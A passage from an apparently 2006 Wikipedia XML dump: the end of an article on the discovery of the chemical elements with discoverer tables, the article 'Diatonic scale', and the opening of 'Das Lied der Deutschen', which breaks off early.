&lt;td&gt;[[Carl Gustaf Mosander]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Erbium]]&lt;/td&gt;
&lt;td&gt;[[1843]]&lt;/td&gt;
&lt;td&gt;[[Carl Gustaf Mosander]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Ruthenium]]&lt;/td&gt;
&lt;td&gt;[[1844]]&lt;/td&gt;
&lt;td&gt;[[Karl Klaus]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

==Spectroscopic discoveries==

A number of elements were first identified by their spectroscopic
[[emission line]]s: caesium and rubidium were discovered by [[Robert Bunsen]] and [[Gustav Kirchhoff]] analysing the spectrum of alkali salts. The unknown element with blue emission lines was named caesium; in purifying the salts of this new element, another element was discovered with a red emission line; this was called rubidium. They were shortly afterwards prepared as the pure salts by Bunsen. The bright green line of thallium caused it to be named from the Greek ''thallos'', meaning a green shoot, and the indigo-blue line from certain
specimens of zinc-blende gave the name indium to the new element so discovered: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Caesium]]&lt;/td&gt;
&lt;td&gt;[[1860]]&lt;/td&gt;
&lt;td&gt;[[Robert Bunsen]] and [[Gustav Kirchoff]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Rubidium]]&lt;/td&gt;
&lt;td&gt;[[1860]]&lt;/td&gt;
&lt;td&gt;[[Robert Bunsen]] and [[Gustav Kirchoff]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Thallium]]&lt;/td&gt;
&lt;td&gt;[[1861]]&lt;/td&gt;
&lt;td&gt;[[Sir William Crookes]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Indium]]&lt;/td&gt;
&lt;td&gt;[[1863]]&lt;/td&gt;
&lt;td&gt;[[Ferdinand Reich]] and [[Hieronymous Theodor Richter|Theodor Richter]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

Another spectroscopic discovery, helium was found by astronomers as an emission line in the spectrum of the sun, hence its name from the Greek ''helios'' meaning sun. It was at first thought to be an unknown metallic element, and so the name was given the ending -ium to signify a metal. By the time it had been found on Earth and discovered to be the lightest of the noble gases, the name was fixed; by analogy with the other noble gases, the name should have ended in -on.

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Helium]]&lt;/td&gt;
&lt;td&gt;[[1868]]&lt;/td&gt;
&lt;td&gt;Independently by [[Pierre Jules César Janssen|Pierre Jansen]] and [[Joseph Norman Lockyer|Norman Lockyer]]&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;

==The Periodic table and the prediction of new elements==

In [[1871]], [[Dmitri Ivanovich Mendeleev|Mendeleev]] predicted, from the gaps in his newly-devised [[periodic table]], that there should be three as yet undiscovered elements, which he named eka-boron, eka-aluminium, and eka-silicon. With Mendeleev's prediction of their existence and approximate chemical properties, the missing elements were found by French, Scandinavian, and German chemists, and named for their countries of discovery, as gallium,
scandium, and germanium: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Gallium]]&lt;/td&gt;
&lt;td&gt;[[1875]]&lt;/td&gt;
&lt;td&gt;[[Paul Emile Lecoq de Boisbaudran]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Ytterbium]]&lt;/td&gt;
&lt;td&gt;[[1878]]&lt;/td&gt;
&lt;td&gt;[[Jean Charles Galissard de Marignac]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Thulium]]&lt;/td&gt;
&lt;td&gt;[[1879]]&lt;/td&gt;
&lt;td&gt;[[Per Teodor Cleve]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Scandium]]&lt;/td&gt;
&lt;td&gt;[[1879]]&lt;/td&gt;
&lt;td&gt;[[Lars Fredrik Nilson]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Holmium]]&lt;/td&gt;
&lt;td&gt;[[1879]]&lt;/td&gt;
&lt;td&gt;[[Marc Delafontaine]], [[Jacques-Louis Soret]] and [[Per Teodor Cleve]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Samarium]]&lt;/td&gt;
&lt;td&gt;[[1879]]&lt;/td&gt;
&lt;td&gt;[[Paul Emile Lecoq de Boisbaudran]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Gadolinium]]&lt;/td&gt;
&lt;td&gt;[[1880]]&lt;/td&gt;
&lt;td&gt;[[Jean Charles Galissard de Marignac]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

The 'didymium' isolated by Mosander in [[1839]] was shown to
actually be two separate elements, praseodymium and neodymium: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Praseodymium]]&lt;/td&gt;
&lt;td&gt;[[1885]]&lt;/td&gt;
&lt;td&gt;[[Carl Auer von Welsbach]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Neodymium]]&lt;/td&gt;
&lt;td&gt;[[1885]]&lt;/td&gt;
&lt;td&gt;[[Carl Auer von Welsbach]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Dysprosium]]&lt;/td&gt;
&lt;td&gt;[[1886]]&lt;/td&gt;
&lt;td&gt;[[Paul Emile Lecoq de Boisbaudran]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Germanium]]&lt;/td&gt;
&lt;td&gt;[[1886]]&lt;/td&gt;
&lt;td&gt;[[Clemens Winkler]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Fluorine]]&lt;/td&gt;
&lt;td&gt;[[1886]]&lt;/td&gt;
&lt;td&gt; [[Joseph Henri Moissan]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

[[Refrigeration]] technology advanced considerably during the [[19th century]], to the point where it was possible to liquefy atmospheric
gases. A curious observation was made: Nitrogen prepared by
chemical means from its compounds had a slightly lower molecular
weight than nitrogen prepared by liquefaction from air. This was
attributed as being due to the presence of a previously unsuspected
gas, christened argon. This gas was the first representative found
of a previously unsuspected new group in the periodic table, first
known as the inert gases, now more commonly known as the [[noble gas|noble gases]]. 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Argon]]&lt;/td&gt;
&lt;td&gt;[[1894]]&lt;/td&gt;
&lt;td&gt;[[John William Strutt, 3rd Baron Rayleigh|Lord Rayleigh]] &amp;amp; [[Sir William Ramsay]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

Once liquid argon could be prepared in quantity from air, small
amounts of a further three noble gases could be separated from it
by differences in boiling point. These new elements were named from
the Greek words for, respectively, 'new', 'hidden', and 'foreign'.

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Neon]]&lt;/td&gt;
&lt;td&gt;[[1898]]&lt;/td&gt;
&lt;td&gt;Sir [[William Ramsay]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Krypton]]&lt;/td&gt;
&lt;td&gt;[[1898]]&lt;/td&gt;
&lt;td&gt;Sir [[William Ramsay]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Xenon]]&lt;/td&gt;
&lt;td&gt;[[1898]]&lt;/td&gt;
&lt;td&gt;Sir [[William Ramsay]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

With the discovery of [[radioactivity]], we have the classic work
by the Curies that isolated a number of previously unknown
elements: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Radium]]&lt;/td&gt;
&lt;td&gt;[[1898]]&lt;/td&gt;
&lt;td&gt;[[Pierre Curie]] and [[Marie Curie]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Polonium]]&lt;/td&gt;
&lt;td&gt;[[1898]]&lt;/td&gt;
&lt;td&gt;[[Pierre Curie]] and [[Marie Curie]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

Another of the noble gases, radon had avoided discovery because its
short radioactive half-life had meant it was present in air in
vanishingly tiny quantities. Once radium was available in
macroscopic quantities, the production of this radioactive noble
gas was readily detected as a product of radium's radioactive
decay. 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Radon]]&lt;/td&gt;
&lt;td&gt;[[1898]]&lt;/td&gt;
&lt;td&gt;[[Friedrich Ernst Dorn]] who called it nitron&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Actinium]]&lt;/td&gt;
&lt;td&gt;[[1899]]&lt;/td&gt;
&lt;td&gt;[[André-Louis Debierne]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Europium]]&lt;/td&gt;
&lt;td&gt;[[1901]]&lt;/td&gt;
&lt;td&gt;[[Eugene Demarcay]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Lutetium]]&lt;/td&gt;
&lt;td&gt;[[1907]]&lt;/td&gt;
&lt;td&gt;[[Georges Urbain]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Protactinium]]&lt;/td&gt;
&lt;td&gt;[[1917]]&lt;/td&gt;
&lt;td&gt;[[Kasimir Fajans]], [[O. Göhring]], [[Fredrich Soddy]], [[John Cranston]], [[Lise Meitner]] and [[Otto Hahn]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Hafnium]]&lt;/td&gt;
&lt;td&gt;[[1923]]&lt;/td&gt;
&lt;td&gt;[[Dirk Coster]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Rhenium]]&lt;/td&gt;
&lt;td&gt;[[1925]]&lt;/td&gt;
&lt;td&gt;[[Walter Noddack]] and [[Ida Tacke]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

At this point, all the [[stable element]]s existing on earth had been discovered, and most of the periodic table had been filled. A few gaps remained amongst the higher mass elements, but there remained a troublesome gap at element number 43, just below manganese in the table. The gaps were filled by the synthetic elements. Walter Noddack and Ida Tacke (later Ida Noddack) also believed that they had found Technetium, which they called Masurium (after Masurien, an area in Germany). Their work could not be reproduced, and it was dismissed at the time as an error (recent research suggests they may have been correct, however &amp;mdash; see [[Technetium]] for more information).

===The [[synthetic element]]s===

The so-called &quot;synthetic&quot; elements are unstable, with [[half-life|half-lives]] so &quot;short&quot; relative to the age of the earth that any atoms of that element that may have been present when the earth formed have long since completely decayed away. Hence they are only known on earth as the product of [[nuclear reactor]]s, [[particle accelerator]]s, or in the byproducts from [[nuclear explosion]]s. The discovery of technetium finally filled in a puzzling gap in the [[periodic table]], and the discovery that there were no stable isotopes of technetium
explained its absence on earth: its [[1e14 s|4.2 million years]] half-life meant that none remained from the time of formation of the earth. 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Technetium]]&lt;/td&gt;
&lt;td&gt;[[1937]]&lt;/td&gt;
&lt;td&gt;[[Carlo Perrier]] and [[Emilio Segrè]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Francium]] (natural)&lt;/td&gt;
&lt;td&gt;[[1939]]&lt;/td&gt;
&lt;td&gt;[[Marguerite Derey]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

All elements after this are synthetic: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Astatine]]&lt;/td&gt;
&lt;td&gt;[[1940]]&lt;/td&gt;
&lt;td&gt;[[Dale R. Corson]], [[K.R.Mackenzie]], [[Emilio Segrè]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

The next two elements were the first of the [[transuranium element|transuranic (beyond uranium) elements]] and were named after the planets beyond [[Uranus (planet)|Uranus]], [[Neptune (planet)|Neptune]] and [[Pluto (planet)|Pluto]]: 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;75%&quot;&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;Name&lt;/th&gt;
&lt;th width=&quot;10%&quot;&gt;Date&lt;/th&gt;
&lt;th width=&quot;70%&quot;&gt;Discoverer&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Neptunium]]&lt;/td&gt;
&lt;td&gt;[[1940]]&lt;/td&gt;
&lt;td&gt;[[Edwin McMillan|E.M. McMillan]] &amp;amp; [[Philip H. Abelson]],
[[University of California, Berkeley]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Plutonium]]&lt;/td&gt;
&lt;td&gt;[[1941]]&lt;/td&gt;
&lt;td&gt;[[Glenn T. Seaborg]], [[Arthur C. Wahl]], [[Joseph W. Kennedy]], [[Emilio Segrè]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Curium]]&lt;/td&gt;
&lt;td&gt;[[1944]]&lt;/td&gt;
&lt;td&gt;[[Glenn T. Seaborg]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Americium]]&lt;/td&gt;
&lt;td&gt;[[1945]]&lt;/td&gt;
&lt;td&gt;[[Glenn T. Seaborg]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Promethium]]&lt;/td&gt;
&lt;td&gt;[[1945]]&lt;/td&gt;
&lt;td&gt;[[J.A. Marinsky]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Berkelium]]&lt;/td&gt;
&lt;td&gt;[[1949]]&lt;/td&gt;
&lt;td&gt;[[Albert Ghiorso]], [[Glenn T. Seaborg]], [[Stanley G. Thompson]], [[Kenneth Street Jr.]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Californium]]&lt;/td&gt;
&lt;td&gt;[[1950]]&lt;/td&gt;
&lt;td&gt;[[Albert Ghiorso]], [[Glenn T. Seaborg]], [[Stanley G. Thompson]], [[Kenneth Street Jr.]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Einsteinium]]&lt;/td&gt;
&lt;td&gt;[[1952]]&lt;/td&gt;
&lt;td&gt;[[Argonne Laboratory]], [[Los Alamos Laboratory]], and [[University of California]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Fermium]]&lt;/td&gt;
&lt;td&gt;[[1953]]&lt;/td&gt;
&lt;td&gt;[[Argonne Laboratory]], [[Los Alamos Laboratory]], and [[University of California]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Mendelevium]]&lt;/td&gt;
&lt;td&gt;[[1955]]&lt;/td&gt;
&lt;td&gt;[[Glenn T. Seaborg]], [[Evans G. Valens]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Nobelium]]&lt;/td&gt;
&lt;td&gt;[[1958]]&lt;/td&gt;
&lt;td&gt;[[Albert Ghiorso]], [[Glenn T. Seaborg]], [[John R. Walton]] and [[Torbørn Sikkeland]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Lawrencium]]&lt;/td&gt;
&lt;td&gt;[[1961]]&lt;/td&gt;
&lt;td&gt; [[Albert Ghiorso]], [[Torbjørn Sikkeland]], [[Almon Larsh]] and [[Robert M. Latimer]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Rutherfordium]]&lt;/td&gt;
&lt;td&gt;[[1964]]&lt;/td&gt;
&lt;td&gt;[[Joint Institute for Nuclear Research]] at Dubna, U.S.S.R.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Dubnium]]&lt;/td&gt;
&lt;td&gt;[[1970]]&lt;/td&gt;
&lt;td&gt;[[Albert Ghiorso]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Seaborgium]]&lt;/td&gt;
&lt;td&gt;[[1974]]&lt;/td&gt;
&lt;td&gt; [[Joint Institute for Nuclear Research]] and [[University of California, Berkeley]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Bohrium]]&lt;/td&gt;
&lt;td&gt;[[1976]]&lt;/td&gt;
&lt;td&gt;[[Y. Oganessian]] et al, [[Dubna]] and confirmed at [[Gesellschaft für Schwerionenforschung|GSI]] (1982)&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Meitnerium]]&lt;/td&gt;
&lt;td&gt;[[1982]]&lt;/td&gt;
&lt;td&gt;[[Peter Armbruster]] and [[Gottfried Münzenberg]], [[Gesellschaft für Schwerionenforschung|GSI]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Hassium]]&lt;/td&gt;
&lt;td&gt;[[1984]]&lt;/td&gt;
&lt;td&gt; [[Peter Armbruster]] and [[Gottfried Münzenberg]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Darmstadtium]]&lt;/td&gt;
&lt;td&gt;[[1994]]&lt;/td&gt;
&lt;td&gt;[[S. Hofmann]], [[V. Ninov]] et al, [[Gesellschaft für Schwerionenforschung|GSI]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Roentgenium]]&lt;/td&gt;
&lt;td&gt;[[1994]]&lt;/td&gt;
&lt;td&gt;[[S. Hofmann]], [[V. Ninov]] et al, [[Gesellschaft für Schwerionenforschung|GSI]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Ununbium]]&lt;/td&gt;
&lt;td&gt;[[1996]]&lt;/td&gt;
&lt;td&gt;[[S. Hofmann]], [[V. Ninov]] et al, [[Gesellschaft für Schwerionenforschung|GSI]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Ununquadium]]&lt;/td&gt;
&lt;td&gt;[[1999]]&lt;/td&gt;
&lt;td&gt;[[Joint Institute for Nuclear Research]] at Dubna&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Ununhexium]]&lt;/td&gt;
&lt;td&gt;[[2001]]&lt;/td&gt;
&lt;td&gt;[[Joint Institute for Nuclear Research]] at Dubna&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Ununtrium]]&lt;/td&gt;
&lt;td&gt;[[2004]]&lt;/td&gt;
&lt;td&gt; [[Joint Institute for Nuclear Research]] at Dubna and [[Lawrence Livermore National Laboratory]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Ununpentium]]&lt;/td&gt;
&lt;td&gt;[[2004]]&lt;/td&gt;
&lt;td&gt; [[Joint Institute for Nuclear Research]] at Dubna and [[Lawrence Livermore National Laboratory]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

== See also ==
* [[Periodic table]]
* [[Elements song]]
* [[Timeline of chemical element discovery]]

[[Category:History of chemistry]]
[[Category:History of physics]]
[[Category:Chemical elements|*]]
[[Category:Discoverers of chemical elements|*]]
[[pt:Descoberta dos elementos químicos]]
[[it:Scoperta degli elementi chimici]]</text>
    </revision>
  </page>
  <page>
    <title>Diatonic scale</title>
    <id>8202</id>
    <revision>
      <id>41722243</id>
      <timestamp>2006-03-01T07:56:40Z</timestamp>
      <contributor>
        <username>Andeggs</username>
        <id>721426</id>
      </contributor>
      <comment>adding template</comment>
      <text xml:space="preserve">In [[music theory]], a '''diatonic scale''' (from the Greek ''diatonikos'', &quot;to stretch out&quot;; also known as the '''heptatonia prima'''; [[set form]] 7-35) is a seven-note musical [[scale (music)|scale]] comprising five whole-tone and two half-tone steps, in which the half tones are maximally separated. The modern Western concept of diatonicism developed from the writings of [[Guido d'Arezzo]]; diatonic scales are therefore sometimes referred to as ''Guido scales''. 

These scales are the fundamental building blocks of the European [[music]]al tradition. The modern major and minor scales are diatonic, as are all of the so-called 'church' [[musical mode|modes]]. The seven [[note (music)|notes]] of a diatonic scale—repeated in each [[octave]]—correspond to the white keys on a [[piano]]. The modern musical keyboard, with its black notes grouped in twos and threes—is essentially diatonic; this arrangement not only helps musicians to find their bearings on the keyboard, but simplifies the system of key signatures compared with what would be necessary for a continuous alternation of black and white notes.&lt;!--Insert image of modern keyboard - is there one on Wikicommons?--&gt; 

==Technical composition of diatonic scales==

Technically speaking, diatonic scales are obtained from a [[interval cycle|chain]] of six successive [[perfect fifth|fifths]] in some version of [[meantone temperament]], and resulting in two [[tetrachord]]s separated by [[interval (music)|interval]]s of a [[whole tone]]. If our version of meantone is the twelve tone [[equal temperament]] the pattern of intervals in [[semitone]]s will be 2-2-1-2-2-2-1; these numbers stand for whole tones (2 semitones) and half tones (1 semitone). The [[major scale]] starts on the first note and proceeds by steps to the first octave. In [[solfege]], the syllables for each scale degree are &quot;Do-Re-Mi-Fa-Sol-La-Ti-Do&quot;.&lt;!--Why not refer to sofege further down, in a dedicated paragraph or section? Does an extra layer of one-syllable terms help the reader to understand diatonicism at this stage?--&gt;

The [[minor scale|natural minor scale]] can be thought of in two ways, the first is as the ''relative minor'' of the major scale, beginning on the sixth degree of the scale and proceeding step by step through the same tetrachords to the first octave of the sixth degree. In solfege &quot;La-Ti-Do-Re-Mi-Fa-Sol.&quot; Alternately, the natural minor can be seen as a composite of two different tetrachords of the pattern 2-1-2-2-1-2-2. In solfege &quot;Do-Re-Mé-Fa-Sol-Lé-Té-Do.&quot;

Western [[harmony]] from the [[Renaissance music|Renaissance]] up until the [[Romantic music|late 19th century]] is based on the diatonic scale and the unique [[hierarchy|hierarchical]] relationships, or [[diatonic functionality]], created by this system of organizing seven notes. Most longer pieces of common practice&lt;!--many readers won't be familiar with this term; can it be avoided, or mentioned later?--&gt; music [[modulation (music)|change key]], but this leads to a hierarchical relationship of diatonic scales in one key with those in another.

These unique relationships are as follows: Only certain divisions of the octave, 12 and 20 included, allow uniqueness, coherence, and transpositional simplicity, and that only the diatonic and pentatonic subsets of the 12-tone chromatic set follow these constraints (Balzano, 1980, 1982). The diatonic collection contains each interval class a unique number of times (Browne 1981 cited in Stein 2005, p.49, 49n12). [[Diatonic set theory]] describes the following properties: [[maximal evenness]], [[Myhill's property]], [[well formed generated collection|well formedness]], the [[deep scale property]], [[cardinality equals variety]], and [[structure implies multiplicity]].

There is significant evidence that the evolution of the diatonic scale is natural, because it is based on the most basic harmonics of any scale's first note, and that it has actually occurred many times over the course of human history. There is even circumstantial evidence that a flute used by [[neanderthal]]s about 40,000 years ago and found at [[Divje Babe]] played the diatonic scale[http://www.greenwych.ca/fl-compl.htm], and that a song recorded on a clay tablet in ancient [[Syria]] was written in it, 3,400 years ago.[http://www.greenwych.ca/evidence.htm]

==See also==
* [[pitch (music)|Pitch]]
* [[Diatonic genus]]
* [[Piano key frequencies]]
* [[Divje Babe]]

==Further reading==
*Johnson, Timothy (2003). ''Foundations of Diatonic Theory: A Mathematically Based Approach to Music Fundamentals''. Key College Publishing. ISBN 1930190808.
*Clough, John (1979). &quot;Aspects of Diatonic Sets&quot;, ''Journal of Music Theory'' 23: 45-61.
*Gould, Mark (2000). &quot;Balzano and Zweifel: Another Look at Generalised Diatonic Scales&quot;, &quot;Perspectives of New Music&quot; 38/2: 88-105
*Fink, Bob (2005) ''On the Origin of Music''. Greenwich. ISBN 0912424141.

==Sources==
*Balzano, Gerald J. (1980). &quot;The Group Theoretic Description of 12-fold and Microtonal Pitch Systems&quot;, ''Computer Music Journal'' 4: 66-84.
*Stein, Deborah (2005). ''Engaging Music: Essays in Music Analysis''. New York: Oxford University Press. ISBN 0195170105.
**Browne, Richmond (1981). &quot;Tonal Implications of the Diatonic Set&quot;, ''In Theory Only'' 5, nos. 1 and 2: 3-21

==External links==
* [http://www.ericweisstein.com/encyclopedias/music/DiatonicScale.html Diatonic Scale] on Eric Weisstein's Treasure trove of Music
* [http://www.greenwych.ca/natbasis.htm ''Natural Bases of Scales''] and [http://www.greenwych.ca/cycl-5-2.htm ''The 7-Note Solution''] -- Why are so many 5 &amp; 7-note scales found among ancient writings and artifacts?)

{{Scale}} &lt;br&gt;
{{Circle of fifths}}&lt;br&gt;

[[Category:Musical scales]]
[[Category:Musical genera]]

[[ca:Escala Diatònica]]
[[cs:Diatonická stupnice]]
[[de:Diatonik]]
[[id:Skala diatonik]]
[[it:Scala diatonica]]
[[he:סולם דיאטוני]]
[[lt:Diatoninė gama]]
[[nl:Diatoniek]]
[[ja:全音階]]
[[fi:Diatoninen asteikko]]</text>
    </revision>
  </page>
  <page>
    <title>Das Lied der Deutschen</title>
    <id>8203</id>
    <revision>
      <id>42016014</id>
      <timestamp>2006-03-03T06:00:28Z</timestamp>
      <contributor>
        <ip>70.92.130.173</ip>
      </contributor>
      <text xml:space="preserve">'''Das Lied der Deutschen''' (&quot;The Song of the Germans&quot;, also known as '''Das Deutschlandlied''', &quot;The Song of Germany&quot;) has been used wholly or partially as the [[national anthem]] of [[Germany]] since [[1922]]. The music, written by [[Joseph Haydn]] in [[1797]], was used as the melody of the Austrian national anthem until 1918. The lyrics were written by [[August Heinrich Hoffmann von Fallersleben]] in [[1841]] on the [[North Sea]] island of [[Heligoland]], a then British territory in the [[German Bight]] which became part of Germany in [[1890]]. At the time of their composition, they received little attention. Since [[1952]] only the third stanza has been Germany's national athem.

'''Audio Sample'''
:[[Image:Audiobutton.png]] [http://ingeb.org/Lieder/deutsch2.mid MIDI sound file] (&quot;Das Lied der Deutschen&quot;)

==History==

===Earlier German national anthems=== 
